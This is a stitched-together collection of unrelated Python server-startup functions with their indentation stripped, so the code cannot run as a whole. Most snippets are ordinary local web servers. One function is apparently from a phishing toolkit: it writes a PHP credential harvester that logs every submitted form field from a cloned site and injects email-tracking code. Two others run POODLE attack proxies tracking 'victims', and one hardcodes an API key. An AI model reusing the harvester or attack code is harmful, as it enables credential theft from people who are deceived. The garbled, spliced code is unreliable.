def startServer(port):
Handler = http.server.SimpleHTTPRequestHandler
global server
server = socketserver.TCPServer(("", port), Handler)
print("Start server at port", port)
server.serve_forever()
def main():
"""Run a web-based admin interface.
"""
parser = optparse.OptionParser(version=pycms.VERSION, usage="Usage: %prog [options] htmlroot")
parser.add_option(
"-p", "--port", action="store", type="int", default=8001, help="The port to listen on. Default: 8001"
)
options, args = parser.parse_args()
if not len(args):
parser.print_help()
raise SystemExit
INSTANCE[0] = pycms.Instance(args[0])
stderr.write("Created instance with htmlroot == '{}'\n".format(INSTANCE[0].htmlroot))
server = socketserver.TCPServer(("", options.port), PycmsWebAdminHandler)
stderr.write("Serving at port {}\n".format(options.port))
server.serve_forever()
return
def main(argv=None):
logging.getLogger().setLevel(logging.DEBUG)
logging.getLogger().handlers = [logging.StreamHandler()]
parser = argparse.ArgumentParser(description='Record and suggest urls')
parser.add_argument('--verbose', '-v', action='count',
help='Verbose output')
parser.add_argument('--port', '-p', default=8000,
help='Server port')
parser.add_argument('--csv', nargs='*',
help='CSV files with a url stream to start from')
args = parser.parse_args(argv)
all_csvs = glob.glob('./data/Our own/*.csv')
#all_csvs = glob.glob('./data/test/*.csv')
#all_csvs = glob.glob('./data/*.csv')
if args.csv is not None:
all_csvs = all_csvs + args.csv
if all_csvs is not None:
start_from_csv(all_csvs)
else:
logging.debug("No log files :(")
server = socketserver.TCPServer(("", args.port), MyRequestHandler)
print("Serving at port {}".format(args.port))
print("CTRL-C to exit")
server.serve_forever()
def main(cls, RequestHandlerClass, port=80):
"""Start server with handler on given port.
This static method provides an easy way to start, run, and exit
a HttpServer instance. The server will be executed if possible,
and the computer's web browser will be directed to the address."""
try:
server = cls(('', port), RequestHandlerClass)
active = True
except socket.error:
active = False
else:
addr, port = server.socket.getsockname()
print('Serving HTTP on', addr, 'port', port, '...')
finally:
port = '' if port == 80 else ':' + str(port)
addr = 'http://localhost' + port + '/'
webbrowser.open(addr)
if active:
try:
server.serve_forever()
except KeyboardInterrupt:
print('Keyboard interrupt received: EXITING')
finally:
server.server_close()
def start_server(web_port, path):
try:
os.chdir(path)
web_port = int(web_port)
server = StoppableHttpServer(('', web_port), StoppableHttpRequestHandler)
server.serve_forever()
except: pass
def run(self):
global runServer
while runServer:
try:
server = http.server.HTTPServer(('', args.port), myHandler)
print ('Starting httpserver on port ' , args.port)
if not args.insecure:
server.socket = ssl.wrap_socket (server.socket, certfile='/etc/ssl/localcerts/doorsserver065.cer', keyfile="/etc/ssl/localcerts/doorsserver065.key", server_side=True)
server.serve_forever()
except KeyboardInterrupt:
print ('Keyboard Interupt')
runServer=False
except Exception as e:
print(e,file=sys.stderr)
try:
server.server_close()
print ('server was stopped at '+ time.asctime( time.localtime(time.time()))+' automatically due to error.')
except Exception as e:
print (e,"\n'server_close()' failed at "+time.asctime( time.localtime(time.time()))+".",file=sys.stderr)
finally:
try:
server = http.server.HTTPServer(('', args.port), myHandler)
if not args.insecure:server.socket = ssl.wrap_socket (server.socket, certfile='/etc/ssl/localcerts/doorsserver065.cer', keyfile="/etc/ssl/localcerts/doorsserver065.key", server_side=True)
print ('Starting httpserver on port ' , args.port," at ", time.asctime( time.localtime(time.time())))
server.serve_forever()
except KeyboardInterrupt:
print ('Keyboard Interupt')
runServer=False
def hilariously_edit(server_host, server_port, paths, exclude_paths, auth_type, on_save):
server_ip = socket.gethostbyname(server_host)
server_origin = 'http://localhost:' + str(server_port)
sys.stdout.write('\nGo to:\n' + server_origin + '/\n\n')
if auth_type in [None, 'none']:
auth_token = None
else:
auth_token = create_token()
auth_stdout = auth_type in ['stdout', 'copy-and-stdout']
clip_succeeded = False
if auth_type in ['copy-or-stdout', 'copy-and-stdout', 'copy']:
clip_result = copy_to_clipboard(auth_token)
clip_succeeded = (clip_result != False)
if auth_type in ['copy-or-stdout']:
auth_stdout = not clip_succeeded
if clip_succeeded:
if auth_stdout:
sys.stderr.write('Token has been copied to clipboard:\n')
else:
sys.stderr.write('Token has been copied to clipboard\n')
else:
sys.stderr.write('Copy failed\n')
if auth_stdout:
if not clip_succeeded:
sys.stdout.write('Copy this auth token:\n')
sys.stdout.write(auth_token + '\n')
sys.stdout.flush()
server = ThreadingHTTPServer(
(server_ip, server_port),
request_handler(server_origin, paths, exclude_paths, auth_token, on_save))
server.serve_forever()
def cmd_serve(parser):
if not site.home():
sys.exit("Error: cannot locate the site's home directory.")
if not os.path.exists(site.out()):
sys.exit("Error: cannot locate the site's output directory.")
os.chdir(site.out())
try:
server = http.server.HTTPServer(
(parser['host'], parser['port']),
http.server.SimpleHTTPRequestHandler
)
except PermissionError:
sys.exit("Permission error: use 'sudo' to run on a port number below 1024.")
address = server.socket.getsockname()
print("-" * 80)
print("Root: %s" % site.out())
print("Host: %s" % address[0])
print("Port: %s" % address[1])
print("Stop: Ctrl-C")
print("-" * 80)
if parser['browser']:
webbrowser.open("http://%s:%s" % (parser['host'], parser['port']))
try:
server.serve_forever()
except KeyboardInterrupt:
print("\n" + "-" * 80 + "Stopping server...\n" + "-" * 80)
server.server_close()
def main():
try:
server = http.server.HTTPServer(('', 8080), MyHandler)
print("Serveur démarré.")
server.serve_forever()
except KeyboardInterrupt:
print('Interruption du serveur.')
server.socket.close()
def _serve(path, port):
"""Running web server in a background thread."""
print("running HTTP server on port %d..." % port)
print('use Ctrl-Break to stop webserver')
os.chdir(path)
handler = http.server.SimpleHTTPRequestHandler
server = socketserver.TCPServer(('', port), handler)
server.serve_forever()
def main():
if len(sys.argv) != 2 or ":" not in sys.argv[1]:
sys.exit("%s host:port" % sys.argv[0])
addr, port = sys.argv[1].split(":")
print("listening on %s:%s" % (addr, port))
server = Server((addr, int(port)), HTTPRequestHandler)
server.serve_forever()
def start_server():
"""Start the server."""
server_address = ("", PORT)
server = http.server.HTTPServer(server_address, TestHandler)
try:
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()
def main():
try:
server = http.server.HTTPServer(('', PORT), MyHandler)
print('started httpserver... on port '+str(PORT))
server.serve_forever()
except KeyboardInterrupt:
print('^C received, shutting down server')
server.socket.close()
def startWebService():
try:
server = http.server.HTTPServer(('localhost',80),MyHandler)
print("started http server....")
server.serve_forever()
except KeyboardInterrupt:
print("shutdown web server")
server.socket.close()
def main():
try:
server = socketserver.TCPServer(("", 80), httpHandler)
print ("AWWW YEAHHH!1")
server.serve_forever()
except KeyboardInterrupt:
print ("WHY?! Service killed by keyboard :(")
server.socket.close()
print ("dead.")
def run_server(domain, port, request_handler):
server = http.server.HTTPServer((domain, port), request_handler)
print(time.asctime(), "Wires Server Start!")
try:
server.serve_forever()
except KeyboardInterrupt:
pass
server.server_close()
print(time.asctime(), "Wires Server Stop")
def ssltlsServer(victims, poodleManager):
print("Starting SSL/TLS server on {}:{} forwarding to {}:{}".format(args.listen_host, args.listen_port_tls, args.target_host, args.target_port))
server = SSLTLSProxy((args.listen_host, int(args.listen_port_tls)), SSLTLSHandler)
server.victims = victims
server.poodleManager = poodleManager
try:
server.serve_forever()
except KeyboardInterrupt:
print("Shutdown of SSL/TLS server on user request")
def httpServer(victims, poodleManager):
print("Starting HTTP server on {}:{} generating requests to {}".format(args.listen_host, args.listen_port_http, args.targetURL))
server = http.server.HTTPServer((args.listen_host, int(args.listen_port_http)), PoodleHTTPRequestHandler)
server.victims = victims
server.poodleManager = poodleManager
try:
server.serve_forever()
except KeyboardInterrupt:
print("Shutdown of HTTP server on user request")
def start_server(address, port, data_file):
if os.path.isfile(data_file):
with open(data_file) as f:
public_key = rsa.PublicKey.load_pkcs1(_readblock(f.buffer))
data = _readblock(f.buffer)
else:
public_key = None
data = None
def _save():
with open(data_file, "w") as f:
_writeblock(f.buffer, public_key.save_pkcs1())
_writeblock(f.buffer, data)
class Handler(http.server.BaseHTTPRequestHandler):
def do_PUT(self):
try:
nonlocal public_key, data
r_public_key = rsa.PublicKey.load_pkcs1(_readblock(self.rfile), format="DER")
r_signature = _readblock(self.rfile)
r_message = _readblock(self.rfile)
if public_key is not None and public_key != r_public_key:
self.send_error(403)
return
try:
rsa.verify(r_message, r_signature, r_public_key)
except rsa.pkcs1.VerificationError:
self.send_error(403)
return
public_key = r_public_key
data = r_message
_save()
self.send_response(200)
self.end_headers()
except:
traceback.print_exc()
self.send_response(500)
self.end_headers()
def do_GET(self):
if data is None:
self.send_error(404)
return
self.send_response(200)
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
server = http.server.HTTPServer((address, port), Handler)
server.serve_forever()
def main():
server = ThreadingSimpleServer((cfgoptions.host, cfgoptions.port), MyHandler)
print('Started http server')
try:
# server.socket = ssl.wrap_socket (server.socket, keyfile='key.pem', certfile='cert.pem', server_side=True)
# TODO: figure out why ssl is so slow :(
server.serve_forever()
except KeyboardInterrupt:
print('^C received, shutting down server')
server.socket.close()
def run(self):
try:
setproctitle.setproctitle('[CIF-SERVER] - API Server')
except:
pass
self.logging.info("Starting api Server")
# Run the api server
server = HTTPServer((cif.options.host, cif.options.port), cif.api.Handler)
server.serve_forever()
sys.exit()
def httpd(args=sys.argv):
try:
#grab port from cmd line
port = DEFAULT_PORT if len(args) < 2 else int(args[1])
server = http.server.HTTPServer(('', port), mHandler)
print('Running HTTP Server on Port', port)
server.serve_forever()
except KeyboardInterrupt:
print('Shutting Down Server...')
server.socket.close()
def serve():
"""local server"""
os.chdir(env.deploy_path)
PORT = 8000
class AddressReuseTCPServer(socketserver.TCPServer):
allow_reuse_address = True
server = AddressReuseTCPServer(('127.0.0.1', PORT), http.server.SimpleHTTPRequestHandler)
sys.stderr.write('Serving on port {0} ...\n'.format(PORT))
server.serve_forever()
def main():
server = None
try:
port = GWD.get_config('port')
server = socketserver.TCPServer(('', port), GWD)
print('Listening on port ' + str(port))
server.serve_forever()
except (KeyboardInterrupt, SystemExit) as e:
sys.stderr.write(str(e) + '\n')
if server != None:
server.socket.close()
print('Goodbye')
def run_server():
host = "0.0.0.0"
socketserver.ThreadingMixIn.allow_reuse_address = True
try:
server = LocalPasteServer((host, args.port), LocalPasteHandler)
log("Starting server... hit ctrl+c to exit")
server.serve_forever()
except KeyboardInterrupt as e:
log("Stopping server...")
server.shutdown()
raise
def main():
if not os.path.isfile(cfgoptions.vlc):
print('vlc not found.')
return
try:
server = http.server.HTTPServer((cfgoptions.host, cfgoptions.port), MyHandler) # TODO: add multi threading
print('Started http server')
server.serve_forever()
except KeyboardInterrupt:
print('^C received, shutting down server')
server.socket.close()
return
def run_server():
socketserver.ThreadingMixIn.allow_reuse_address = True
try:
server = LocalPasteServer((args.listen_address, args.port), LocalPasteHandler)
log("Starting server... hit ctrl+c to exit")
if args.user:
drop_privileges(args.user)
server.serve_forever()
except KeyboardInterrupt as e:
log("Stopping server...")
server.shutdown()
raise
def main(self):
port = DEFAULT_PORT
print("Starting HMAT Web Server at:\n\n" "\thttp://{addr}:{port}\n\n".format(addr=self.get_my_ip(), port=port))
# run the server
server_address = ("", port)
try:
server = http.server.HTTPServer(server_address, RemoteWebHandler)
server.serve_forever()
except KeyboardInterrupt:
print("^C received, shutting down server")
server.socket.close()
def runHTTPServer ( ):
PORT_NUMBER = utils.serverport
try:
#Create a web server and define the handler to manage the incoming request
server = http.server.HTTPServer(('', PORT_NUMBER), HTTPHandler)
utils.verboseOutput(0,"Starting httpserver on port " + str(PORT_NUMBER) + ", use <Ctrl-C> to stop")
#Wait forever for incoming http requests
server.serve_forever()
except KeyboardInterrupt:
utils.verboseOutput(0,"<Ctrl-C> received, shutting down the web server")
server.socket.close()
return
def main():
args = getArguments()
if not args.port:
print("ERROR: A server port must be specified with the --port argument.", file=sys.stderr)
return
port = args.port
print("Starting HTTP server on port {}".format(port))
serverAddress = ("", port)
server = http.server.HTTPServer(serverAddress , RequestHandler)
server.serve_forever()
def run_server(tester):
"""Starts the server to convey results"""
server = Server(tester)
server.serve_forever()
def run():
# check if we are not running apache mode
if apache_check == False:
try:
server = ThreadedHTTPServer(('', int(web_port)), SETHandler)
server.serve_forever()
# handle keyboard interrupts
except KeyboardInterrupt:
os.chdir(homepath)
try:
visits.close()
bites.close()
except:
pass
if attack_vector != 'multiattack':
try:
module_reload(src.webattack.harvester.report_generator)
except:
import src.webattack.harvester.report_generator
if attack_vector != 'multiattack':
return_continue()
os.chdir(homepath)
httpd.socket.close()
# handle the rest
except Exception as e:
print(
bcolors.RED +
"[*] Looks like the web_server can't bind to 80. Are you running Apache?"
+ bcolors.ENDC)
apache_stop = input(
"Do you want to attempt to disable Apache? [y/n]: ")
apache_counter = 0
if apache_stop == "yes" or apache_stop == "y" or apache_stop == "":
if os.path.isfile("/etc/init.d/apache2"):
subprocess.Popen("/etc/init.d/apache2 stop",
shell=True).wait()
apache_counter = 1
if os.path.isfile("/etc/init.d/httpd"):
subprocess.Popen("/etc/init.d/httpd stop",
shell=True).wait()
apache_counter = 1
if apache_counter == 1:
# check if we are running apache mode
print_status(
"Successfully stopped Apache. Starting the credential harvester."
)
print_status(
"Harvester is ready, have victim browse to your site.")
if apache_check == False:
try:
try:
server = ThreadedHTTPServer(('', int(web_port)),
SETHandler)
server.serve_forever()
# handle keyboard interrupts
except KeyboardInterrupt:
os.chdir(homepath)
try:
visits.close()
bites.close()
except:
pass
if attack_vector != 'multiattack':
sys.path.append("src/harvester")
from . import report_generator
if attack_vector != 'multiattack':
return_continue()
os.chdir(homepath)
httpd.socket.close()
except Exception:
apache_counter = 0
if apache_counter == 0:
print(bcolors.GREEN +
"[*] Try disabling Apache and try SET again." +
bcolors.ENDC)
print("[*] Printing error: " + str(e) + "\n")
return_continue()
exit_set()
# if we are using apache, then use the harvester php type that writes it out to post.php
# note just change the index.html to post somewhere else and rename the
# post.php to something else
if apache_check == True:
try:
ipaddr = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ipaddr.connect(('127.0.0.1', int(web_port)))
ipaddr.settimeout(2)
if ipaddr:
pass
except Exception as e:
if os.path.isfile("/etc/init.d/apache2"):
apache_start = input(
"[!] Apache may be not running, do you want SET to start the process? [y/n]: "
)
if apache_start == "y":
subprocess.Popen("/etc/init.d/apache2 start",
shell=True).wait()
try:
apache_dir = check_config("APACHE_DIRECTORY=")
if os.path.isdir(apache_dir + "/html"):
apache_dir = apache_dir + "/html"
print(
bcolors.GREEN +
"Apache webserver is set to ON. Copying over PHP file to the website."
)
except Exception as e:
print(e)
print(
"Please note that all output from the harvester will be found under apache_dir/harvester_date.txt"
)
print("Feel free to customize post.php in the %s directory" %
(apache_dir) + bcolors.ENDC)
filewrite = open("%s/post.php" % (apache_dir), "w")
now = datetime.datetime.today()
filewrite.write(
"""<?php $file = 'harvester_%s.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?><meta http-equiv="refresh" content="0; url=%s" />"""
% (now, RAW_URL))
filewrite.close()
if os.path.isdir("/var/www/html"):
logpath = ("/var/www/html")
filewrite = open("%s/harvester_%s.txt" % (logpath, now), "w")
filewrite.write("")
filewrite.close()
# Check sys platform to perform chown
if sys.platform == "darwin":
subprocess.Popen("chown _www:_www '%s/harvester_%s.txt'" %
(logpath, now),
shell=True).wait()
else:
subprocess.Popen("chown www-data:www-data '%s/harvester_%s.txt'" %
(logpath, now),
shell=True).wait()
# if we are using webjacking, etc.
if os.path.isfile(setdir + "/web_clone/index2.html"):
# need to copy the files over - remove the old one first if there
if os.path.isfile(apache_dir + "/index2.html"):
os.remove(apache_dir + "/index2.html")
shutil.copyfile(setdir + "/web_clone/index2.html",
apache_dir + "/index2.html")
# here we specify if we are tracking users and such
if track_email == True:
fileopen = open(setdir + "/web_clone/index.html", "r")
data = fileopen.read()
data = data.replace(
"<body>",
"""<body><?php $file = 'harvester_%s.txt'; $queryString = ''; foreach ($_GET as $key => $value) { $queryString .= $key . '=' . $value . '&';}$query_string = base64_decode($queryString);file_put_contents($file, print_r("Email address recorded: " . $query_string . "\\n", true), FILE_APPEND);?>"""
% (now))
filewrite = open(setdir + "/web_clone/index.2", "w")
filewrite.write(data)
filewrite.close()
os.remove(setdir + "/web_clone/index.html")
shutil.copyfile(setdir + "/web_clone/index.2",
setdir + "/web_clone/index.html")
# copy the entire web_clone directory.
# Without this only index.php|html are copied even though the user
# may have chosen to import the entire directory in the set module.
copyfolder(setdir + "/web_clone", apache_dir)
if os.path.isfile("%s/index.html" % (apache_dir)):
os.remove("%s/index.html" % (apache_dir))
if track_email == False:
shutil.copyfile(setdir + "/web_clone/index.html",
"%s/index.html" % (apache_dir))
if track_email == True:
shutil.copyfile(setdir + "/web_clone/index.html",
"%s/index.php" % (apache_dir))
print_status(
"NOTE: The URL to click on is index.php NOT index.html with track emails."
)
print_status("All files have been copied to %s" % (apache_dir))
if attack_vector != 'multiattack':
pause = input("{Press return to continue}")
def __init__(self):
CGIXMLRPCRequestHandler.__init__(self)
XMLRPCDocGenerator.__init__(self)
if __name__ == '__main__':
import datetime
class ExampleService:
def getData(self):
return '42'
class currentTime:
@staticmethod
def getCurrentTime():
return datetime.datetime.now()
with SimpleXMLRPCServer(("localhost", 8000)) as server:
server.register_function(pow)
server.register_function(lambda x,y: x+y, 'add')
server.register_instance(ExampleService(), allow_dotted_names=True)
server.register_multicall_functions()
print('Serving XML-RPC on localhost port 8000')
print('It is advisable to run this example server within a secure, closed network.')
try:
server.serve_forever()
except KeyboardInterrupt:
print("\nKeyboard interrupt received, exiting.")
sys.exit(0)
def start_server():
PORT = 3280
server = http.server.HTTPServer(('192.168.1.15', PORT), P2Server)
print('Project 2 {}; Type <Ctrl-C> to stop server.'.format(PORT))
server.serve_forever()
def start_server(bind="", port=8080):
server = http.server.HTTPServer((bind, port), Handler)
server.serve_forever()
def callback(parser):
if parser['ssl-cert']:
certfile = os.path.abspath(parser['ssl-cert'])
if not os.path.exists(certfile):
sys.exit("Error: certificate '%s' does not exist." % certfile)
else:
certfile = None
if parser['ssl-key']:
keyfile = os.path.abspath(parser['ssl-key'])
if not os.path.exists(keyfile):
sys.exit("Error: key file '%s' does not exist." % keyfile)
else:
keyfile = None
if parser['directory']:
dirpath = os.path.abspath(parser['directory'])
if not os.path.exists(dirpath):
sys.exit("Error: directory '%s' does not exist." % dirpath)
os.chdir(dirpath)
else:
if not site.home():
sys.exit("Error: cannot locate the site's home directory.")
if not os.path.exists(site.out()):
sys.exit("Error: cannot locate the site's output directory.")
os.chdir(site.out())
try:
server = http.server.HTTPServer((parser['host'], parser['port']),
http.server.SimpleHTTPRequestHandler)
except PermissionError:
sys.exit("Error: use 'sudo' to run on a port below 1024.")
except OSError:
sys.exit("Error: port already in use. Choose a different port.")
if certfile:
server.socket = ssl.wrap_socket(server.socket,
keyfile=keyfile,
certfile=certfile,
server_side=True)
protocol = "https"
else:
protocol = "http"
address = server.socket.getsockname()
if parser['browser']:
try:
browser = webbrowser.get(parser['browser'])
except webbrowser.Error:
sys.exit("Error: cannot locate browser '%s'." % parser['browser'])
browser.open("%s://%s:%s" % (protocol, parser['host'], address[1]))
elif not parser['no-browser']:
webbrowser.open("%s://%s:%s" % (protocol, parser['host'], address[1]))
utils.termline()
print("Root: %s" % site.out())
print("Host: %s" % address[0])
print("Port: %s" % address[1])
print("Stop: Ctrl-C")
utils.termline()
try:
server.serve_forever()
except KeyboardInterrupt:
print()
utils.termline()
print("Stopping server...")
utils.termline()
server.server_close()
def help_server(bot):
server = http.server.HTTPServer(('0.0.0.0', 8888),
build_request_handler(bot))
server.serve_forever()
def stream_video(server):
server.serve_forever()
def start_server(server):
try:
server.serve_forever()
except Exception as exp:
pass
def start_server(server):
server.serve_forever()
def __init__(self):
server = http.server.HTTPServer(('', 8088), myHandler)
server.serve_forever()
def main():
handler = partial(ChartServerHandler, pg_connect())
server = http.server.HTTPServer(('localhost', 32155), handler)
print('Starting server at port 32155')
server.serve_forever()
def serve_webpages(port):
handler = http.server.SimpleHTTPRequestHandler
server = socketserver.TCPServer(("0.0.0.0", port), handler)
print("Starting server at port %d" % port)
server.serve_forever()
def run_server(server):
Thread(target=lambda: server.serve_forever()).start()
def start(port, callback):
def handler(*args):
CallbackServer(callback, *args)
server = http.server.HTTPServer(('', int(port)), handler)
server.serve_forever()
def main():
port = 8080
print('Listening on :%s' % port)
server = socketserver.TCPServer(('', port), RequestHandler)
server.serve_forever()
def run(db_path):
global database
database = Database(db_path)
with http.server.ThreadingHTTPServer(('', 8000), ServerHandler) as server:
server.serve_forever()
def run(self):
print('stream')
from http import server
logger.info('start streaming')
PAGE = """\
<html>
<head>
<title>Raspberry Pi - Surveillance Camera</title>
</head>
<body>
<center><h1>Raspberry Pi - Surveillance Camera</h1></center>
<center><img src="stream.mjpg" width="640" height="480"></center>
</body>
</html>
"""
class StreamingHandler(server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(301)
self.send_header('Location', '/index.html')
self.end_headers()
elif self.path == '/index.html':
content = PAGE.encode('utf-8')
self.send_response(200)
self.send_header('Content-Type', 'text/html')
self.send_header('Content-Length', len(content))
self.end_headers()
self.wfile.write(content)
elif self.path == '/stream.mjpg':
self.send_response(200)
self.send_header('Age', 0)
self.send_header('Cache-Control', 'no-cache, private')
self.send_header('Pragma', 'no-cache')
self.send_header(
'Content-Type',
'multipart/x-mixed-replace; boundary=FRAME')
self.end_headers()
try:
while True:
frame = output.frame
self.wfile.write(b'--FRAME\r\n')
self.send_header('Content-Type', 'image/jpeg')
self.send_header('Content-Length', len(frame))
self.end_headers()
self.wfile.write(frame)
self.wfile.write(b'\r\n')
except Exception as e:
logger.info('Removed streaming client %s: %s',
self.client_address, str(e))
print('Removed streaming client %s: %s',
self.client_address, str(e))
else:
self.send_error(404)
self.end_headers()
class StreamingServer(socketserver.ThreadingMixIn, server.HTTPServer):
allow_reuse_address = True
daemon_threads = True
try:
address = ('192.168.0.XXX', 8000)
server = StreamingServer(address, StreamingHandler)
server.serve_forever()
finally:
print('stop server')
def start_server():
print("Starting server port: ", PORT)
thread = threading.Thread(target=server.serve_forever())
thread.daemon = True
thread.start()
def tcp_listen_python3(self, listen_ssl=False):
"""Open a TCP socket on a given port and print incoming
data to stdout."""
class DeenTcpHandler(socketserver.StreamRequestHandler):
def handle(self):
self.data = self.rfile.readline().strip()
print(self.data.decode())
class TcpServerSsl(socketserver.TCPServer):
def __init__(self,
server_address,
RequestHandlerClass,
certfile,
keyfile,
ssl_version=ssl.PROTOCOL_TLS_SERVER,
bind_and_activate=True):
socketserver.TCPServer.__init__(self, server_address,
RequestHandlerClass,
bind_and_activate)
self.certfile = certfile
self.keyfile = keyfile
self.ssl_version = ssl_version
def get_request(self):
newsocket, fromaddr = self.socket.accept()
connstream = ssl.wrap_socket(newsocket,
server_side=True,
certfile=self.certfile,
keyfile=self.keyfile,
ssl_version=self.ssl_version)
return connstream, fromaddr
server = None
if listen_ssl:
# The certificate chain and private key need to
# be available as actual files that can be opened
# with fopen(3).
with tempfile.TemporaryDirectory() as tmpdirname:
cert_chain = tmpdirname + '/cert_chain.pem'
server_key = tmpdirname + '/server_key.pem'
with open(cert_chain, 'wb') as f:
f.write(self.server_cert_pem)
with open(server_key, 'wb') as f:
f.write(self.server_key_pem)
try:
server = TcpServerSsl(self.listen_socket,
DeenTcpHandler,
cert_chain,
server_key)
except OSError as e:
self.error = e
self.log.error(self.error)
self.log.debug(self.error, exc_info=True)
return
else:
try:
server = socketserver.TCPServer(self.listen_socket,
DeenTcpHandler)
except OSError as e:
self.error = e
self.log.error(self.error)
self.log.debug(self.error, exc_info=True)
return
message = 'Listening on TCP port ' + str(self.listen_port)
if listen_ssl:
message += ' (SSL)'
print(message)
try:
server.serve_forever()
except KeyboardInterrupt:
pass
def target():
server.serve_forever()
def server_run():
# log.debug('starting server')
server.serve_forever()
def main(RequestHandlerClass=ScheduleRequestHandler):
usage = """%prog [options] [<input GTFS.zip>]
Runs a webserver that lets you explore a <input GTFS.zip> in your browser.
If <input GTFS.zip> is omited the filename is read from the console. Dragging
a file into the console may enter the filename.
For more information see
https://github.com/google/transitfeed/wiki/ScheduleViewer
"""
parser = util.OptionParserLongError(usage=usage,
version="%prog " +
transitfeed.__version__)
parser.add_option(
"--feed_filename",
"--feed",
dest="feed_filename",
help="file name of feed to load",
)
parser.add_option(
"--key",
dest="key",
help="Google Maps API key or the name "
"of a text file that contains an API key",
)
parser.add_option("--host", dest="host", help="Host name of Google Maps")
parser.add_option("--port",
dest="port",
type="int",
help="port on which to listen")
parser.add_option("--file_dir",
dest="file_dir",
help="directory containing static files")
parser.add_option(
"-n",
"--noprompt",
action="store_false",
dest="manual_entry",
help="disable interactive prompts",
)
parser.set_defaults(
port=8765,
host="maps.google.com",
file_dir=FindDefaultFileDir(),
manual_entry=True,
)
(options, args) = parser.parse_args()
if not os.path.isfile(os.path.join(options.file_dir, "index.html")):
print("Can't find index.html with --file_dir=%s" % options.file_dir)
exit(1)
if not options.feed_filename and len(args) == 1:
options.feed_filename = args[0]
if not options.feed_filename and options.manual_entry:
options.feed_filename = input("Enter Feed Location: ").strip('"')
default_key_file = GetDefaultKeyFilePath()
if not options.key and os.path.isfile(default_key_file):
options.key = open(default_key_file).read().strip()
if options.key and os.path.isfile(options.key):
options.key = open(options.key).read().strip()
# This key is registered to [email protected]
if not options.key:
options.key = "AIzaSyAZTTRO6RC6LQyKCD3JODhxbClsZl95P9U"
util.CheckVersion(transitfeed.ProblemReporter())
schedule = transitfeed.Schedule(
problem_reporter=transitfeed.ProblemReporter())
print('Loading data from feed "%s"...' % options.feed_filename)
print("(this may take a few minutes for larger cities)")
schedule.Load(os.path.expanduser(options.feed_filename))
server = StoppableHTTPServer(
server_address=("", options.port),
RequestHandlerClass=RequestHandlerClass,
)
server.key = options.key
server.schedule = schedule
server.file_dir = options.file_dir
server.host = options.host
server.feed_path = options.feed_filename
print("To view, point your browser at http://localhost:%d/" %
(server.server_port))
server.serve_forever()
def run(self):
start_http_server(8000)
server = http.server.HTTPServer(('localhost', 8001), MyHandler)
server.serve_forever()
def start_server(web_port, path):
os.chdir(path)
web_port = int(web_port)
server = StoppableHttpServer(('', web_port), StoppableHttpRequestHandler)
server.serve_forever()
def build_bib(args, file_name, output):
"""Parse and process files, including new ones encountered if chasing"""
links = [] # list of other files encountered in the mind map
done = [] # list of files processed, kept to prevent loops
entries = dict() # dict of {id : {entry}}, by insertion order
mm_files = [
file_name,
] # list of file encountered (e.g., chase option)
# debug(f" mm_files = {mm_files}")
while mm_files:
mm_file = os.path.abspath(mm_files.pop())
# debug(f" parsing {mm_file}")
try:
doc = parse(mm_file).getroot()
except OSError as err:
debug(f" failed to parse {mm_file} because of {err}")
continue
# debug(f" successfully parsed {mm_file}")
entries, links = walk_freeplane(doc, mm_file, entries, links=[])
# debug(" done.appending %s" % os.path.abspath(mm_file))
done.append(mm_file)
if args.chase:
# debug("chasing")
for link in links:
link = os.path.abspath(os.path.dirname(mm_file) + "/" + link)
if link not in done and link not in mm_files:
if not any(
[word in link
for word in ("syllabus", "readings")]): # 'old'
# debug(f" mm_files.appending {link}")
mm_files.append(link)
if args.query:
# debug("querying")
results_file_name = f"{config.TMP_DIR}query-thunderdell.html"
if os.path.exists(results_file_name):
os.remove(results_file_name)
try:
results_file = open(results_file_name, "w", encoding="utf-8")
except OSError as err:
print(f"{err}")
print(f"There was an error writing to {results_file_name}")
raise
results_file.write(RESULT_FILE_HEADER)
results_file.write(RESULT_FILE_QUERY_BOX % (args.query, args.query))
emit_results(args, entries, args.query, results_file)
results_file.write("</ul></body></html>\n")
results_file.close()
# debug(f"{results_file=}")
if args.in_main:
ADDRESS_IN_USE = False
os.chdir(config.CGI_DIR + "/..")
handler = http.server.CGIHTTPRequestHandler
handler.cgi_directories = ["/cgi-bin"]
try:
server = http.server.HTTPServer(("localhost", 8000), handler)
except OSError as error:
if error.errno == errno.EADDRINUSE:
ADDRESS_IN_USE = True
print(f"address in use")
else:
raise
# below runs the query twice I think, but still fast
webbrowser.open(
f"http://localhost:8000/cgi-bin/search.cgi?query={args.query}")
if not ADDRESS_IN_USE:
server.serve_forever()
elif args.pretty:
results_file_name = f"{config.TMP_DIR}pretty-print.html"
try:
results_file = open(results_file_name, "w", encoding="utf-8")
except OSError as err:
print(f"{err}")
print(f"There was an error writing to {results_file_name}")
raise
results_file.write(RESULT_FILE_HEADER)
results_file.write(" <title>Pretty Mind Map</title></head>"
'<body>\n<ul class="top">\n')
for entry in list(entries.values()):
args.query = entry["identifier"]
emit_results(args, entries, args.query, results_file)
results_file.write("</ul></body></html>\n")
results_file.close()
if args.in_main:
webbrowser.open(f"file://{results_file_name}")
else:
output(args, entries)
return
def run(self):
with http.server.HTTPServer(("", WEB_PORT), Handler) as server:
server.serve_forever()
def serve(args): # pragma: no cover
server = http.server.HTTPServer(args.bind, Handler)
server.serve_forever()
def start(klass,port=80,asynch=True):
if asynch:
server=HTTPServer(('',port),klass)
else:
server=http.server.HTTPServer(('',port),klass)
server.serve_forever()
def start_server():
"""Start the server."""
server_address = ("", PORT)
server = http.server.HTTPServer(server_address, TestHandler)
server.serve_forever()
